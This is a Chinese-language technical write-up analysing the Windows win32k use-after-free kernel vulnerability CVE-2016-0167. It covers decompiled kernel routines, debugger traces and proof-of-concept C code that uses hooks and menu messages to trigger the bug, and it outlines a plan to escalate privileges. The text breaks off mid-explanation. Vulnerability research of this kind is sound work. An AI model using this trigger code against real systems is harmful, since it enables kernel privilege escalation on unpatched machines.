这篇文章将对 Windows 释放后重用(UAF)内核漏洞 CVE-2016-0167 进行一次简单的分析并构造其利用验证代码。该漏洞在 2016 年据报道称被用于攻击支付卡等目标的数据,并和之前分析的 CVE-2016-0165 在同一个补丁程序中被微软修复。针对该漏洞的分析和测试是在 Windows 7 x86 SP1 基础环境的虚拟机中进行的。
该漏洞是弹出菜单 tagPOPUPMENU
对象的释放后重用漏洞,虽然是两年前的“老漏洞”,但由于触发条件特殊,需要同步和异步的消息请求相互配合才能最终实现满足漏洞利用条件的目标弹出菜单对象,所以当前对于学习和研究 win32k 内核漏洞利用来说,该漏洞还是有一定的研究价值。
0x0 前言
这篇文章分析了发生在窗口管理器(User)子系统的菜单管理组件中的 CVE-2016-0167 释放后重用(UAF)漏洞。在内核函数 xxxMNDestroyHandler
调用 xxxSendMessage
向目标弹出菜单对象关联的通知窗口对象发送 WM_UNINITMENUPOPUP
消息期间,执行流存在发生用户回调的可能性;在发送消息的函数调用返回后,函数 xxxMNDestroyHandler
没有重新验证目标弹出菜单对象内存的有效性而继续对其进行访问。
如果用户进程在特殊时机触发菜单取消的操作使作为利用目标的弹出菜单对象的成员标志位 fDelayedFree
被取消置位,并在特定时机调用函数销毁该弹出菜单对象关联的菜单窗口对象,执行流在内核中执行函数 xxxMNDestroyHandler
时发送 WM_UNINITMENUPOPUP
消息期间回调到用户进程中,用户进程对同一菜单窗口对象再次执行销毁操作,在内核中使执行流针对相同的目标弹出菜单对象重复进入函数 xxxMNDestroyHandler
中,并在第二次调用期间销毁目标弹出菜单对象;当执行流回到第一次调用的函数中时,目标弹出菜单对象已被销毁,但函数将在缺少必要的验证的情况下直接对目标弹出菜单对象的成员域进行访问甚至执行重复释放的操作,这将导致 UAF 漏洞的发生。
在触发销毁目标菜单窗口对象之后,用户进程中的利用代码通过巧妙的内存布局,使系统重新分配相同大小的内存区域以占用先前释放的弹出菜单对象的内存块,伪造新的弹出菜单对象并构造相关成员域。借助代码逻辑,实现对特定窗口对象的成员标志位 bServerSideWindowProc
的修改,使系统能够在内核中直接执行位于用户进程地址空间中的自定义窗口消息处理函数,得以通过内核上下文执行用户进程构造的利用代码,实现内核提权的目的。
0x1 原理
漏洞发生在内核模块 win32k.sys
的函数 xxxMNDestroyHandler
中,该函数用于在销毁指定的菜单窗口对象期间执行销毁其关联的弹出菜单 tagPOPUPMENU
对象的任务,目标弹出菜单对象的指针通过参数 popupMenu
传入。
弹出菜单 tagPOPUPMENU
结构体定义如下:
kd> dt win32k!tagPOPUPMENU
+0x000 flags : Int4B
+0x004 spwndNotify : Ptr32 tagWND
+0x008 spwndPopupMenu : Ptr32 tagWND
+0x00c spwndNextPopup : Ptr32 tagWND
+0x010 spwndPrevPopup : Ptr32 tagWND
+0x014 spmenu : Ptr32 tagMENU
+0x018 spmenuAlternate : Ptr32 tagMENU
+0x01c spwndActivePopup : Ptr32 tagWND
+0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU
+0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU
+0x028 posSelectedItem : Uint4B
+0x02c posDropped : Uint4B
在函数中存在向目标弹出菜单对象的成员域 spwndNotify
指向的通知窗口对象发送 WM_UNINITMENUPOPUP
消息的调用语句:
if ( *(_DWORD *)popupMenu & 0x200000 ) // fSendUninit
{
spwndNotify = popupMenu->spwndNotify;
if ( spwndNotify )
{
ptl = gptiCurrent->ptl;
gptiCurrent->ptl = (_TL *)&ptl;
pwndTarg = spwndNotify;
++spwndNotify->head.cLockObj;
pmenu = popupMenu->spmenu;
if ( pmenu )
hmenu = p->head.h;
xxxSendMessage(
popupMenu->spwndNotify,
0x125, // WM_UNINITMENUPOPUP
(WPARAM)hmenu,
(LPARAM)(((*(_DWORD *)popupMenu >> 2) & 1) << 13) << 16);
ThreadUnlock1();
}
}
其中,作为判断依据的成员标志位 fSendUninit
早在目标弹出菜单对象初始化期间默认被置位;而通知窗口对象成员域 spwndNotify
也会在初始化期间被赋值为作为菜单拥有者的窗口对象的地址。这将导致函数 xxxMNDestroyHandler
的执行流存在回调到用户进程上下文的可能性。
接下来函数通过对目标弹出菜单对象成员标志位 fDelayedFree
进行判断,以决定是否立即为目标弹出菜单对象调用 MNFreePopup
执行具体的释放操作。函数 MNFreePopup
调用 HMAssignmentUnlock
等函数解除 spwndPopupMenu
等各个对象成员域的赋值锁。在执行相应的预处理之后,函数调用 ExFreePoolWithTag
释放传入的弹出菜单 tagPOPUPMENU
对象缓冲区。
由于在前面函数 xxxMNDestroyHandler
发送 WM_UNINITMENUPOPUP
消息期间执行流可能回调到用户进程中,因此,攻击者可以在用户进程中触发逻辑使目标弹出菜单 tagPOPUPMENU
对象的内存被释放或重新分配,这将导致目标参数 popupMenu
指向内存区域中存在不可控的数据。如果攻击代码对在原位置重新分配的内存块中的数据进行刻意构造,那么在对某个保存特殊对象地址的对象成员域进行解锁时,将使内核上下文的执行流可能直接进入位于用户进程地址空间的利用代码函数中。
0x2 追踪
函数 xxxMNDestroyHandler
是用于在销毁指定的菜单窗口对象期间执行销毁其关联的弹出菜单 tagPOPUPMENU
对象任务的函数,仅在菜单窗口对象指定的消息处理函数 xxxMenuWindowProc
处理 WM_FINALDESTROY
消息时调用。
xxxMNDestroyHandler
该函数接收通过参数 tagPOPUPMENU *popupMenu
传入的弹出菜单对象作为目标对象。在函数开始位置,判断目标弹出菜单成员域 spwndNextPopup
是否指向真实的子菜单窗口对象,如是则表明当前菜单存在已弹出的子菜单。因此函数向成员域 spwndPopupMenu
指向的当前菜单窗口对象(如果为空则向子菜单窗口对象)发送 MN_CLOSEHIERARCHY
以关闭当前菜单的子菜单。该消息最终在 xxxMenuWindowProc
函数中接收并对目标窗口对象关联的弹出菜单对象调用 xxxMNCloseHierarchy
以处理关闭子菜单的任务。
if ( popupMenu->spwndNextPopup )
{
pwnd = popupMenu->spwndPopupMenu;
if ( !pwnd )
pwnd = popupMenu->spwndNextPopup;
ptl = gptiCurrent->ptl;
gptiCurrent->ptl = (_TL *)&ptl;
++pwnd->head.cLockObj;
xxxSendMessage(pwnd, 0x1E4, 0, 0); // xxxMNCloseHierarchy
ThreadUnlock1();
}
接着函数判断目标弹出菜单对象的成员标志位 fSendUninit
是否处于置位状态。该标志位决定在弹出菜单对象销毁之后系统是否应向接收通知的窗口对象发送 WM_UNINITMENUPOPUP
消息。在根弹出菜单对象或子弹出菜单对象初始化期间,系统通常在函数 xxxTrackPopupMenuEx
或 xxxMNOpenHierarchy
中置位该标志位。
如果成员标志位 fSendUninit
处于置位状态,那么函数向成员域 spwndNotify
指向的用于接收通知的窗口对象发送 WM_UNINITMENUPOPUP
(0x125
) 消息,以使拥有者窗口能在第一时间清理与将被销毁的弹出菜单相关的数据。
if ( *(_DWORD *)popupMenu & 0x200000 ) // fSendUninit
{
spwndNotify = popupMenu->spwndNotify;
if ( spwndNotify )
{
ptl = gptiCurrent->ptl;
gptiCurrent->ptl = (_TL *)&ptl;
pwndTarg = spwndNotify;
++spwndNotify->head.cLockObj;
pmenu = popupMenu->spmenu;
if ( pmenu )
hmenu = (tagMENU *)p->head.h;
xxxSendMessage(
popupMenu->spwndNotify,
0x125, // WM_UNINITMENUPOPUP
(WPARAM)hmenu,
(LPARAM)(((*(_DWORD *)popupMenu >> 2) & 1) << 13) << 16);
ThreadUnlock1();
}
}
调用 xxxSendMessage
发送 WM_UNINITMENUPOPUP
消息时,函数还将与目标弹出菜单对象关联的菜单实体 tagMENU
对象的句柄作为 wParam
参数传入函数调用。
在函数 xxxMNDestroyHandler
的末尾,函数将位于目标菜单窗口 tagWND
对象末尾扩展区域中指向关联的弹出菜单对象的指针置空;然后判断目标弹出菜单对象的成员标志位 fDelayedFree
是否处于置位状态,并据此决定是在完整菜单终止时再进行对目标弹出菜单对象的延时释放,还是在当前时刻立即释放目标弹出菜单对象。
pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u; // fDestroyed
if ( pwnd )
*(_DWORD *)(pwnd + 0xB0) = 0; // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 ) // fDelayedFree
{
popupmenuRoot = popupMenu->ppopupmenuRoot;
if ( popupmenuRoot )
*(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{
MNFreePopup(popupMenu);
}
在内核中通过正规途径创建上下文弹出菜单对象时,根弹出菜单对象或子弹出菜单对象的成员标志位 fDelayedFree
默认情况下都会在函数 xxxTrackPopupMenuEx
或 xxxMNOpenHierarchy
中被置位。
MNFreePopup
函数 MNFreePopup
在一开始判断通过参数传入的目标弹出菜单对象是否为当前的根弹出菜单对象,如果是则调用函数 MNFlushDestroyedPopups
以遍历并释放其成员域 ppmDelayedFree
指向的弹出菜单对象延迟释放链表中的各个弹出菜单对象。
接着函数调用 HMAssignmentUnlock
或 UnlockPopupMenu
函数(内部还是函数 HMAssignmentUnlock
的调用)以解除目标弹出菜单对象的 spwndPopupMenu
等各个窗口对象和菜单对象指针成员域的赋值锁。
if ( popupMenu == popupMenu->ppopupmenuRoot )
MNFlushDestroyedPopups(popupMenu, 1);
pwnd = popupMenu->spwndPopupMenu;
if ( pwnd && (pwnd->fnid & 0x3FFF) == 0x29C && popupMenu != &gpopupMenu )
*((_DWORD *)pwnd + 0x2C) = 0;
HMAssignmentUnlock(&popupMenu->spwndPopupMenu);
HMAssignmentUnlock(&popupMenu->spwndNextPopup);
HMAssignmentUnlock(&popupMenu->spwndPrevPopup);
UnlockPopupMenu(popupMenu, &popupMenu->spmenu);
UnlockPopupMenu(popupMenu, &popupMenu->spmenuAlternate);
HMAssignmentUnlock(&popupMenu->spwndNotify);
HMAssignmentUnlock(&popupMenu->spwndActivePopup);
if ( popupMenu == &gpopupMenu )
gdwPUDFlags &= 0xFF7FFFFF;
else
ExFreePoolWithTag(popupMenu, 0);
函数 HMAssignmentUnlock
被用来解除先前针对指定对象的实施的带赋值锁的引用,并减小目标对象的锁计数。当目标对象的锁计数减小到 0
时,系统将调用函数 HMUnlockObjectInternal
销毁该对象。
函数 HMUnlockObjectInternal
通过目标对象的句柄在全局共享信息结构体 gSharedInfo
对象的成员域 aheList
指向的会话句柄表中找到该对象的句柄表项,然后通过在句柄表项中存储的句柄类型在函数 HMDestroyUnlockedObject
中调用索引在全局句柄类型信息数组 gahti
中的对象销毁函数。如果当前被销毁的目标对象类型是窗口对象,这将调用到内核函数 xxxDestroyWindow
中。
在函数 MNFreePopup
的末尾,由于已完成对各个成员域的解锁和释放,系统调用函数 ExFreePoolWithTag
释放目标弹出菜单 tagPOPUPMENU
对象。
MNFlushDestroyedPopups
函数 MNFlushDestroyedPopups
遍历链表中的每个弹出菜单对象,并为每个标记了标志位 fDestroyed
的对象调用 MNFreePopup
函数。标志位 fDestroyed
当初在调用函数 xxxMNDestroyHandler
时被置位。
for ( i = &popupMenu->ppmDelayedFree; *i; i = &ppmDestroyed->ppmDelayedFree )
{
ppmFree = *i;
if ( *(_DWORD *)*i & 0x8000 )
{
ppmFree = *i;
*i = ppmFree->ppmDelayedFree;
MNFreePopup(ppmFree);
}
else if ( fUnlock )
{
*(_DWORD *)ppmFree &= 0xFFFEFFFF;
*i = (*i)->ppmDelayedFree;
}
else
{
ppmDestroyed = *i;
}
}
而如果链中存在未置位标志位 fDestroyed
的弹出菜单对象,函数则根据参数 fUnlock
传入的值决定将目标弹出菜单对象的 fDelayedFree
标志位置零,并跳过该节点继续遍历链表。
在函数 MNFreePopup
中调用 MNFlushDestroyedPopups
时,数值 1
作为参数 fUnlock
被传入函数调用,这决定在延迟释放链表中未置位标志位 fDestroyed
的弹出菜单对象标志位 fDelayedFree
将被置零。
函数 xxxMNDestroyHandler
执行期间的简要执行流如图所示:
MN_CANCELMENUS
当向目标菜单窗口对象发送 MN_CANCELMENUS
消息时,系统最终在菜单窗口对象指定的消息处理函数 xxxMenuWindowProc
中调用 xxxMNCancel
函数来处理取消菜单的消息请求。
case 0x1E6u:
xxxMNCancel(menuState, wParam, lprc, 0);
return 0;
函数 xxxMNCancel
只能以根菜单窗口对象作为目标进行调用。在函数开始位置,菜单状态结构体的成员标志位 fInsideMenuLoop
和 fButtonDown
被置零,而根弹出菜单对象的成员标志位 fDestroyed
会被置位。
mov edi, [ebp+pMenuState]
mov esi, [edi]
mov eax, [esi]
and dword ptr [edi+4], 0FFFFFFF3h
or dword ptr [esi], 8000h
接着函数调用 xxxMNCloseHierarchy
函数来关闭当前菜单对象的菜单层叠状态,并调用函数 xxxMNSelectItem
取消选择菜单项。
xxxMNCloseHierarchy(popupMenu, pMenuState);
xxxMNSelectItem(popupMenu, pMenuState, 0xFFFFFFFF);
当执行流返回到函数 xxxMNCancel
中时,系统根据当前弹出菜单对象的成员标志位 fIsTrackPopup
选择调用 xxxDestroyWindow
以尝试销毁当前的菜单窗口对象。该成员标志位只在最开始通过函数 xxxTrackPopupMenuEx
创建根菜单窗口对象时对关联的弹出菜单对象置位。
if ( fTrackFlagsSet ) // popupMenu->fIsTrackPopup
{
if ( !(*((_DWORD *)pMenuState + 1) & 0x100)
&& gpqForeground
&& *((_DWORD *)gpqForeground + 9)
&& gpqForeground == gptiCurrent->pq )
{
xxxWindowEvent(0x80000005, *((_DWORD *)gpqForeground + 9), 0, 1, 0x21);
}
xxxWindowEvent(7u, popupMenu->spwndPopupMenu, 0xFFFFFFFC, 0, 0);
xxxDestroyWindow(popupMenu->spwndPopupMenu);
}
对菜单窗口对象调用 xxxDestroyWindow
函数期间,最终在处理 WM_FINALDESTROY
消息时,函数 xxxMenuWindowProc
调用 xxxMNDestroyHandler
函数处理弹出菜单销毁的任务。
0x3 验证
接下来编写验证代码以重现释放后重用(UAF)漏洞。先说一下验证代码的思路:
#1 使执行流重新进入漏洞所在函数
触发该漏洞的直接步骤,是在 WM_UNINITMENUPOPUP
消息发送期间设法使执行流针对相同的目标弹出菜单对象重复调用 xxxMNDestroyHandler
函数。这样一来,目标弹出菜单对象将在第二次调用 xxxMNDestroyHandler
函数时被释放;当执行流返回到函数 xxxMNDestroyHandler
的第一次调用上下文时,目标弹出菜单对象已被释放,而函数在没有重新验证弹出菜单对象内存有效性的情况下继续对其成员域进行访问,这将导致 UAF 的触发。
要使执行流重新进入函数 xxxMNDestroyHandler
可通过在验证代码自定义的挂钩处理程序对 WM_UNINITMENUPOPUP
消息的处理逻辑中对目标菜单窗口对象调用 DestroyWindow
函数来实现。
#2 满足触发条件的弹出菜单对象
根据前面的分析可知,触发漏洞需要在函数 xxxMNDestroyHandler
向目标弹出菜单对象关联的通知窗口对象发送 WM_UNINITMENUPOPUP
消息期间使执行流针对相同弹出菜单对象再次调用函数 xxxMNDestroyHandler
并在第二次执行函数期间释放目标弹出菜单对象。
这对目标弹出菜单对象提出要求:
一是函数 xxxMNDestroyHandler
在发送 WM_UNINITMENUPOPUP
消息之前存在条件判断,目标弹出菜单对象必须置位成员标志位 fSendUninit
并且必须存在关联的通知窗口对象。这要求目标弹出菜单对象所关联的菜单窗口对象必须是通过正规菜单弹出的通道所创建的,而不能是验证代码调用 CreateWindowEx
等函数手动创建的 MENUCLASS
类型的窗口对象。
二是目标弹出菜单对象的成员标志位 fDelayedFree
必须未被置位,否则目标弹出菜单对象将不会在函数 xxxMNDestroyHandler
第二次调用期间被立即释放。
#3 成员标志位 fDelayedFree 取消置位
根据内核模块代码逻辑,通过正规菜单弹出的通道所创建的上下文菜单的弹出菜单对象在初始化期间必然会置位 fDelayedFree
成员标志位,置位该标志位是在函数 xxxTrackPopupMenuEx
和 xxxMNOpenHierarchy
中无条件执行的语句。
通过对 win32k 模块进行分析,可发现至少存在两处将某个弹出菜单对象的成员标志位 fDelayedFree
置零的语句:一处是在函数 xxxMNEndMenuState
中根据参数 fFreePopup
条件为 FALSE
的情况将根弹出菜单对象的标志位 fDelayedFree
置零;另一处是在函数 MNFlushDestroyedPopups
中根据参数 fUnlock
条件为 TRUE
的情况将延迟释放链表中未置位成员标志位 fDestroyed
的弹出菜单对象的标志位 fDelayedFree
置零。
对于第一种情况,纵观全局发现对函数 xxxMNEndMenuState
的调用仅在 xxxDestroyThreadInfo
函数中存在传入参数 fFreePopup
值不为 FALSE
的可能性,操作起来存在难度,因此不做考虑。
对于第二种情况,存在于函数 MNFreePopup
中的对函数 MNFlushDestroyedPopups
的调用将参数 fUnlock
传值为 TRUE
。因此可以尝试利用这种情况,在调用之前使用来利用的目标弹出菜单对象的成员标志位 fDestroyed
保持未置位的状态,并且未置位 fDestroyed
标志位的目标弹出菜单对象仍需存在于通过 ppmDelayedFree
索引的延迟释放链表中。
#4 成员标志位 fDestroyed 取消置位
那么需要在适当时机当函数 MNFreePopup
调用 MNFlushDestroyedPopups
时使延迟释放链表中存在未置位成员标志位 fDestroyed
的弹出菜单对象。
实现思路是:在某个子菜单通过调用函数 xxxMNOpenHierarchy
实现弹出期间,其自身相关对象还未与父级菜单相互关联时,用户进程发起菜单终止或取消的操作,使当前已存在于延时释放对象链表中的所有弹出菜单对象的成员标志位 fDestroyed
在弹出菜单销毁处理过程中被置位,而尚未完成初始化的子弹出菜单由于还未完成与父级菜单的关联,因此其弹出菜单对象的成员标志位 fDestroyed
并不会被置位。
当新弹出的子菜单完成初始化时,菜单整体继而进入函数 xxxMNEndMenuState
中的菜单终止处理过程。在该函数执行期间,作为利用目标的子弹出菜单对象由于其成员标志位 fDestroyed
未被置位,因此并不会被销毁,并且成员标志位 fDelayedFree
还会被置零,使其各个成员域状态满足漏洞触发条件。
这需要通过模态上下文菜单的弹出终止与同步异步消息请求的相互配合来具体实现。
验证代码的实现
接下来根据思路实现具体的验证代码,用户进程中验证代码的大部分代码逻辑都在新创建的单独线程中执行。
在验证代码的主函数中通过 CreateMenu
等函数创建两个弹出式的菜单对象,并在添加菜单项时将两个菜单对象相互关联,使第二个成为第一个的子菜单。当不通过函数 SetMenuInfo
改变菜单对象的属性时,菜单对象默认为模态类型。
hMenuList[0] = CreateMenu();
hMenuList[1] = CreateMenu();
AppendMenuA(hMenuList[0], MF_MOUSESELECT | MF_POPUP, (UINT_PTR)hMenuList[1], "item");
AppendMenuA(hMenuList[1], MF_MOUSESELECT | MF_POPUP, (UINT_PTR)0, "item");
菜单的显示需要有用于承载的窗口作为菜单的拥有者窗口对象。注册并创建普通窗口类和窗口对象并将句柄存储在 hWindowMain
全局变量中:
WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = xxMainWindowProc; // custom message procedure
wndClass.cbWndExtra = 0;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
将验证代码自定义的消息处理函数 xxMainWindowProc
的地址赋值给创建的拥有者窗口对象的消息处理函数成员域。该拥有者窗口对象同时将作为与弹出菜单关联的通知窗口对象。
设置类型为 WH_CALLWNDPROC
的自定义挂钩处理程序,并设置范围包括 EVENT_SYSTEM_MENUPOPUPSTART
的自定义事件通知处理程序。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
接下来通过调用 TrackPopupMenuEx
函数触发作为根菜单的第一个菜单对象在屏幕中的显示;然后使用 GetMessage
使当前线程进入消息循环状态。
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
当用户进程调用函数 TrackPopupMenuEx
时,系统在内核中最终调用到 xxxTrackPopupMenuEx
函数处理弹出菜单操作。在显示任务执行完成时,函数调用 xxxWindowEvent
以分发 EVENT_SYSTEM_MENUPOPUPSTART
类型的事件通知,这表示目标菜单对象已显示在屏幕中。
在该事件通知分发后,执行流会进入验证代码自定义的事件通知处理程序 xxWindowEventProc
中。在处理程序中进行计数,并存储每次进入时的窗口句柄 hwnd
参数。接着通过调用函数 SendMessage
和 PostMessage
向句柄参数 hwnd
指向的菜单窗口对象发送消息来模拟通过键鼠选择菜单项的操作。
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
static UINT iCount = 0;
if (iCount < ARRAYSIZE(hwndMenuList))
{
hwndMenuList[iCount] = hwnd;
iCount++;
}
SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}
向模态菜单窗口对象异步地发送 MN_OPENHIERARCHY
将使消息被插入线程的消息队列中,并在函数 xxTrackPopupMenuEx
稍后调用的函数 xxxMNLoop
消息循环中处理打开菜单的消息请求。
# ChildEBP RetAddr
00 99723a78 947dee9d win32k!xxxMNOpenHierarchy
01 99723ac4 9474ae67 win32k!xxxMenuWindowProc+0xb1f
02 99723af4 947d8c36 win32k!xxxDispatchMessage+0x1f7
03 99723b38 947df8f1 win32k!xxxMNLoop+0x2dd
04 99723ba0 947df9dc win32k!xxxTrackPopupMenuEx+0x5cd
05 99723c14 83e591ea win32k!NtUserTrackPopupMenuEx+0xc3
当在内核中处理 MN_OPENHIERARCHY
消息时,系统根据子菜单对象创建新的菜单窗口对象。在此期间,系统将向新创建的子菜单窗口对象发送 WM_NCCREATE
等消息。在发送这些消息时,执行流会进入由用户进程中的验证代码自定义的挂钩处理程序 xxWindowHookProc
中。
在自定义挂钩处理程序 xxWindowHookProc
函数中,参数 lParam
指向 tagCWPSTRUCT
类型的对象。根据内核函数代码逻辑,对于每个菜单窗口对象而言,处理 WM_NCCREATE
的挂钩处理函数往往比处理 EVENT_SYSTEM_MENUPOPUPSTART
的事件通知处理函数更先调用。验证代码判断 tagCWPSTRUCT
对象的成员域 message
的值,当 message
值为 WM_NCCREATE
枚举值、并且到目前为止前面的事件通知处理程序只记录了根菜单窗口对象的句柄而尚未记录子菜单窗口对象句柄时,这表示当前处理消息的目标窗口对象正是新创建的子菜单窗口对象。此时记录该窗口句柄,并通过调用 SendMessage
函数向根菜单窗口对象发送 MN_CANCELMENUS
取消菜单的消息。在函数 SendMessage
返回后,挂钩处理函数再调用 PostMessage
向拥有者窗口对象 hWindowMain
发送自定义的 WM_EX_TRIGGER
触发消息。
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
static BOOL bEnterUninit = FALSE;
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (cwp->message == WM_UNINITMENUPOPUP &&
bEnterUninit == FALSE &&
hMenuList[1] == (HMENU)cwp->wParam)
{
bEnterUninit = TRUE;
DestroyWindow(hwndMenuDest);
}
else if (cwp->message == WM_NCCREATE &&
hwndMenuDest == NULL &&
hwndMenuList[0] && !hwndMenuList[1])
{
hwndMenuDest = cwp->hwnd;
SendMessageW(hwndMenuList[0], MN_CANCELMENUS, 0, 0);
PostMessageW(hWindowMain, WM_EX_TRIGGER, 0, 1);
}
return CallNextHookEx(0, code, wParam, lParam);
}
同时,挂钩处理函数还处理 message
值为 WM_UNINITMENUPOPUP
并且参数 wParam
值为子菜单实体 tagMENU
对象句柄值的情况。当命中条件时,表示当前在内核中执行流正在函数 xxxMNDestroyHandler
中针对子菜单向通知窗口对象发送 WM_UNINITMENUPOPUP
消息期间。毫无疑问地,验证代码在此时调用 DestroyWindow
函数销毁前面记录了句柄的窗口对象。
当调用函数 SendMessage
同步地向根菜单窗口对象发送 MN_CANCELMENUS
消息时,系统最终在内核模式消息处理函数 xxxMenuWindowProc
中调用 xxxMNCancel
函数来处理取消菜单的消息请求。在该函数执行期间根弹出菜单对象的成员标志位 fDestroyed
会被置位。
# ChildEBP RetAddr
00 94d83b00 94a5ef10 win32k!xxxMNCancel
01 94d83b54 949d94f3 win32k!xxxMenuWindowProc+0xb92
02 94d83b94 94999709 win32k!xxxSendMessageTimeout+0x1ac
03 94d83bbc 949a6330 win32k!xxxWrapSendMessage+0x1c
04 94d83bd8 949db4cd win32k!NtUserfnNCDESTROY+0x27
05 94d83c10 83e521ea win32k!NtUserMessageCall+0xc9
06 94d83c10 76f270b4 nt!KiFastCallEntry+0x12a
07 3473fc8c 762b4f51 ntdll!KiFastSystemCallRet
08 3473fc90 762b0940 USER32!NtUserMessageCall+0xc
09 3473fccc 762b5582 USER32!SendMessageWorker+0x546
0a 3473fcec 0027c43a USER32!SendMessageW+0x7c
0b 3473fd54 762a7a1a TempDemo!xxWindowHookProc+0x19a
0c 3473fd70 762a4999 USER32!DispatchHookW+0x33
0d 3473fda4 762ae98a USER32!fnHkINLPCWPSTRUCTW+0x52
0e 3473fdd4 76f26fee USER32!__fnINLPCREATESTRUCT+0x8b
0f 3473fe48 762d483e ntdll!KiUserCallbackDispatcher+0x2e
10 3473fe4c 0027c0fe USER32!NtUserTrackPopupMenuEx+0xc
11 3473fed4 76d13c45 TempDemo!xxTrackExploitEx+0x14e
由于在验证代码中调用发送 MN_CANCELMENUS
消息的 SendMessageW
函数时,在内核中执行流正处于针对子菜单窗口对象 WM_NCCREATE
消息的处理分发挂钩处理程序期间,分发调用发生在 WM_NCCREATE
消息处理之前,因此子菜单窗口对象所关联的弹出菜单 tagPOPUPMENU
对象尚未被创建,并且此时新创建的子菜单窗口对象尚未被关联到根菜单的弹出菜单对象中,也就是说根弹出菜单对象的成员域 spwndNextPopup
并未存储子菜单窗口对象的地址。因此在函数 xxxMNCancel
接下来的执行逻辑调用函数 xxxMNCloseHierarchy
时,并不会有任何与子菜单相关的对象被销毁,子弹出菜单对象的成员标志位 fDestroyed
也因此不会被置位。
接下来函数 xxxMNCancel
还调用 xxxDestroyWindow
函数来触发销毁根菜单窗口对象的任务。在该函数执行期间,函数将调用 xxxDestroyWindow
来尝试销毁根菜单窗口对象,并最终在函数 xxxMenuWindowProc
中调用 xxxMNDestroyHandler
函数处理弹出菜单销毁的任务。由于根弹出菜单对象的成员标志位 fDelayedFree
早以被置位,因此函数并不会立即调用 MNFreePopup
函数来释放目标弹出菜单对象,而是留给后续的 xxxMNEndMenuState
函数调用来执行。
当发送 MN_CANCELMENUS
消息的 SendMessage
函数调用返回时,自定义的挂钩处理函数调用 PostMessage
向拥有者窗口对象发送自定义的 WM_EX_TRIGGER
触发消息。异步发送的消息并不会立即执行对消息请求的处理,而是在窗口对象关联线程的消息循环中执行。
接下来在内核中当执行流从创建子菜单窗口对象的函数 xxxCreateWIndowEx
返回到 xxxMNOpenHierarchy
函数中时,函数将照常执行子菜单和根菜单相关对象的关联操作。待执行完成函数返回时,执行流将回到消息循环函数 xxxMNLoop
中。函数将判断根弹出菜单对象的成员标志位 fDestroyed
是否已被置位。如果已置位,则跳出消息循环状态,并在调用 xxxEndMenuLoop
等终止循环的函数之后向上级调用者函数 xxxTrackPopupMenuEx
返回。
函数 xxxTrackPopupMenuEx
将立即调用 xxxMNEndMenuState
来执行菜单状态终止的任务。在该函数执行期间,函数 MNFreePopup
将调用 MNFlushDestroyedPopups
函数来释放延迟释放链表中的每个弹出菜单对象,而成员标志位 fDestroyed
未置位的对象例外。由于在函数 xxxMNCancel
执行菜单取消的任务期间,子菜单相关对象尚未和根菜单完成关联,因此其弹出菜单对象成员标志位 fDestroyed
并未被置位。这将导致在此时子弹出相关的任何对象将不会被释放,并且其弹出菜单对象的成员标志位 fDelayedFree
将被函数 MNFlushDestroyedPopups
置零,这是非常关键的一步。
当位于用户进程上下文的 TrackPopupMenuEx
函数调用返回到验证代码时,满足漏洞触发条件的目标弹出菜单对象已经实现。接下来执行流将进入由验证代码设定的消息循环中。此时将分发前面在自定义挂钩处理程序 xxWindowHookProc
函数中向拥有者窗口对象发送的 WM_EX_TRIGGER
自定义触发消息。在拥有者窗口对象的自定义消息处理函数 xxMainWindowProc
中接收并处理该消息:
LRESULT WINAPI
xxMainWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == WM_EX_TRIGGER)
{
DestroyWindow(hwndMenuDest);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
在自定义消息处理函数 xxMainWindowProc
中,判断当前处理的消息是否为 WM_EX_TRIGGER
自定义触发消息;如是则直接调用函数 DestroyWindow
以触发销毁前面记录句柄的子菜单窗口对象的操作。这将使执行流在内核中进入销毁目标弹出菜单对象的 xxxMNDestroyHandler
函数调用中。
在函数 xxxMNDestroyHandler
中,系统向目标弹出菜单对象关联的通知窗口对象发送 WM_UNINITMENUPOPUP
并将关联的菜单窗口对象句柄作为 wParam
参数传入。这将命中在自定义挂钩处理程序 xxWindowHookProc
中命中前面设定的 WM_UNINITMENUPOPUP
的判断条件。
由于在函数 xxWindowHookProc
处理 WM_UNINITMENUPOPUP
消息的代码逻辑中验证代码直接调用函数 DestroyWindow
销毁前面记句柄的子菜单窗口对象,这将使执行流针对相同的子弹出菜单对象重复进入函数 xxxMNDestroyHandler
的调用。在第二次函数 xxxMNDestroyHandler
执行期间,虽然仍旧会像第一次执行时那样发送 WM_UNINITMENUPOPUP
